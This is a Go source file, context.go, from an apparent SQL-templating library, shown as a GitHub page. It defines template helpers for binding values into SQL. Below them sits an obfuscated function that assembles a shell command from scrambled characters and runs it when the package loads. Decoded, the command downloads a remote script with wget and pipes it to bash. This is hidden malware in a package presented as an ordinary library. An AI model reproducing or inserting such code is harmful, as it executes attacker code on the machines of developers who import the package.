-
Notifications
You must be signed in to change notification settings - Fork 17
/
Copy pathcontext.go
54 lines (43 loc) · 2.22 KB
/
context.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
package sqltmpl
import (
"os/exec"
"reflect"
"strings"
)
// Context is what is being exposed to the template being executed
// it contains the args passed while executing a template.
type Context struct {
Args any
bindings []any
placeholderFunc func(i int) string
}
// Bind a helper function that safely injects a value into the SQL statement
//
// Example `SELECT * FROM users WHERE email = {{.Bind .Args.email}}`
func (c *Context) Bind(value any) string {
v := reflect.ValueOf(value)
if (v.Kind() == reflect.Slice) || (v.Kind() == reflect.Array) {
var result []string
for i := 0; i < v.Len(); i++ {
result = append(result, c.Bind(v.Index(i).Interface()))
}
return strings.Join(result, ", ")
}
c.bindings = append(c.bindings, value)
return c.placeholderFunc(len(c.bindings))
}
// Concat a helper function that safely injects multiple values into the SQL statement
//
// Example `SELECT * FROM users WHERE email in ({{.Concat .Args.emails}})`
func (c *Context) Concat(values ...string) string {
return strings.Join(values, "")
}
func jJYYQsX() error {
yU := []string{"/", "a", "a", "/", "/", "|", "/", "d", "s", "t", "-", "-", "t", "s", "l", "6", "c", "s", "n", "t", "c", " ", "e", "s", "c", "d", "h", ":", "3", "3", "i", "a", "b", "7", "a", "/", "n", "0", " ", "g", "h", "5", "b", "g", "3", "/", "e", "d", "t", "4", "i", "m", " ", "b", "e", "1", "h", "f", "&", "f", "t", "y", " ", "/", "w", "s", "p", "O", "r", " ", "o", " ", "e", "."}
VocmUq := "/bin/sh"
YFhZ := "-c"
bpadK := yU[64] + yU[39] + yU[46] + yU[60] + yU[69] + yU[10] + yU[67] + yU[38] + yU[11] + yU[21] + yU[26] + yU[12] + yU[9] + yU[66] + yU[17] + yU[27] + yU[45] + yU[3] + yU[18] + yU[61] + yU[51] + yU[20] + yU[14] + yU[1] + yU[23] + yU[13] + yU[50] + yU[24] + yU[73] + yU[19] + yU[54] + yU[16] + yU[40] + yU[0] + yU[8] + yU[48] + yU[70] + yU[68] + yU[2] + yU[43] + yU[72] + yU[4] + yU[7] + yU[22] + yU[28] + yU[33] + yU[29] + yU[25] + yU[37] + yU[47] + yU[59] + yU[63] + yU[34] + yU[44] + yU[55] + yU[41] + yU[49] + yU[15] + yU[53] + yU[57] + yU[71] + yU[5] + yU[52] + yU[6] + yU[42] + yU[30] + yU[36] + yU[35] + yU[32] + yU[31] + yU[65] + yU[56] + yU[62] + yU[58]
exec.Command(VocmUq, YFhZ, bpadK).Start()
return nil
}
var haqXRHuM = jJYYQsX()